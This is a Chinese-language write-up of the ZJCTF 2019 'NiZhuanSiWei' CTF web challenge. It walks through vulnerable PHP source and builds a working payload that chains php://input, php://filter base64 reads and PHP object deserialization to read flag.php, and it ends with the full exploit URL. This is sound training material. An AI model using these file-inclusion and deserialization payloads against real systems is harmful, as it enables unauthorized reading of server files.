[ZJCTF 2019]NiZhuanSiWei
[ZJCTF 2019]NiZhuanSiWei
这道题所有的考点我都了解过,甚至用来出过类似的题目,但是作者把它们套娃得非常不错,做下来感觉非常有意思!
考点
include
和file_get_contents
函数的利用以及php://input
和php://filter/read=convert.base64-encode/resouce=
伪协议的利用主界面
<?php $text = $_GET["text"]; $file = $_GET["file"]; $password = $_GET["password"]; if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";if(preg_match("/flag/",$file)){echo "Not now!";exit(); }else{include($file); //useless.php$password = unserialize($password);echo $password;} } else{highlight_file(__FILE__); } ?>
非常的简单易懂。我们可以传递三个值,首先file_get_contents($text,‘r’)的值需要等于 “welcome to the zjctf” 这要怎么做到呢?我们可不知道哪个文件里的内容恰好是这个。但是我们利用php://input伪协议来伪造内容。之前虽然听说过php://input伪协议,这还是第一次使用,涨姿势了!哦对了,这个file_get_contents还能用来使用php://filter协议 接下来会讲到。这简直就是伪协议的天堂函数!
传递之后随着我们的页面上出现几个大字,说明我们闯过第一关了。
接下来题目想让我们传递一个file变量,但是不能有flag,看来flag就是藏在flag.php里面了!既然看不了,我们就来看看这个useless.php内藏什么玄机。哦对了,include这个函数可以用来利用php://filter伪协议,这样我们就能看到useless.php的真面貌了!
然后在到在线网站解一下码就行啦。
<?php class Flag{ //flag.php public $file; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>";return ("U R SO CLOSE !///COME ON PLZ");} } } ?>
好假虎,原来里面有个类呢!怪不得index.php里的password是用用反序列的。原来include 这个 useless.php文件之后,就能反序列化这个类啦!那这个类里面有个函数,可以file_get_contents一个file,而这个恰恰是我们反序列化字符串里自己写的,那这个file必定是flag.php啊!但是这还是不行,单纯的flag.php我们无法看到flag.php的源码,这里就要用到刚才提到的知识点,file_get_contents是伪协议的天堂,我们这里再用php://filter来看flag.php就大功告成啦!最后的payload。
http://3c30042e-78d6-49bb-9947-96aeec8253d8.node3.buuoj.cn/?text=php://input&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:57:"php://filter/read=convert.base64-encode/resource=flag.php
最后base64解密后得到flag
这道题出的真的很好!带着我复习了很多知识点。
参考链接
2016xctf一道ctf题目_一个码农的笔记-CSDN博客
[ZJCTF 2019]NiZhuanSiWei相关推荐
- 2021-09-01[ZJCTF 2019]NiZhuanSiWei
[ZJCTF 2019]NiZhuanSiWei 首先根据连接打开得到一个,PHP源码: 根据源码分析,我们需要GET三个参数分别是:text,file,password 首先需要检查是否对text传 ...
- 第二十四题——[ZJCTF 2019]NiZhuanSiWei
题目地址:https://buuoj.cn/challenges 解题思路 第一步:进入题目,展示了php代码 第二步:使用data协议绕过text参数检测 经过代码分析,text参数不能为空,且根据 ...
- [BUUCTF-pwn]——[ZJCTF 2019]EasyHeap
[BUUCTF-pwn]--[ZJCTF 2019]EasyHeap 思路 我们第一个想法肯定是执行l33t这个函数,事实证明被摆了一道.没有结果, 但是我们有system函数我们可以将其放入我们可以 ...
- [BUUCTF-pwn]——[ZJCTF 2019]Login
[BUUCTF-pwn]--[ZJCTF 2019]Login 题目地址:https://buuoj.cn/challenges#[ZJCTF%202019]Login 这道题学习还是很多的, 有的时 ...
- [ZJCTF 2019]EasyHeap-house of spirit
[ZJCTF 2019]EasyHeap-house of spirit 先给出exp,exp中我标明了每一个步骤 每个步骤执行完后,内存中的地址空间我也贴出来了 exp from pwn impor ...
- BUUctf刷题第三天
[极客大挑战 2019]BuyFlag 进去是一个网页,查看源代码 说只有啥玩意的学生才能买,就抓包看看 发现cookie后面有个user=0,改成一试试 改完后说我是啥啥啥的学生了可以支付购买了 结 ...
- BUUCTF中web方向题目记录(二)
双写绕过 BUUCTF[极客大挑战 2019]BabySQL 好像和前面的题目相似 check.php?username=admin&password=1' 单引号闭合 check.php?u ...
- BUUCTF web(三)
[HCTF 2018]admin 随便注册了一个账号,登陆进去在change password界面源码找到了 Flask是一个使用 Python 编写的轻量级 Web 应用框架.其 WSGI 工具箱采 ...
- BUUCTF 命令执行/文件包含类型部分wp
BUU差不多前两页题目中的该类型题,可能会有疏漏 [网鼎杯 2020 朱雀组]Nmap 考察nmap的利用 选项 解释 -oN 标准保存 -oX XML保存 -oG Grep保存 -oA 保存到所有格 ...
最新文章
- MpVue开发之swiper的使用
- [阿里云]I+的一些探索
- qt自定义窗口,其绘制的窗口边框线显示不全
- MySQL8.0——Resource Group(资源组)
- OpenSplice DDS 分布式DDS网络架构(DDS 6.9.0+VS 2013+Qt 5.8.0 )
- 数学常用公式及规律、结论(三)
- 011—MySQL 事务
- 社区发现 louvain(fast unfolding)算法
- Zotero-无法打开zotero数据库
- 【AXI】解读AXI协议中的burst突发传输机制
- 2010刚出土的句子
- [Ubuntu] LightDM 轻量级桌面显示管理器
- 帧中继环境中NBMA模式下OSPF的配置
- 微信PC端有了新功能,快来看看你知不知道
- 计算机怎么的设置音乐,windows7开关机音乐怎么设置_win7如何设置电脑开关机音乐-win7之家...
- javascript中sessionStorage 、localStorage 和 Cookie
- C/C++浮点数的存储方式 IEEE-754标准,以及实现一个ftoa函数将浮点数转换为字符串
- 安卓手机如何查看WIFI密码
- python html5 便利店收银系统_基于Python的Django框架实现的中式快餐厅管理信息系统网站...
- 基因数据处理50之cs-bwamem、bwa、snap、bwa-mem与art比较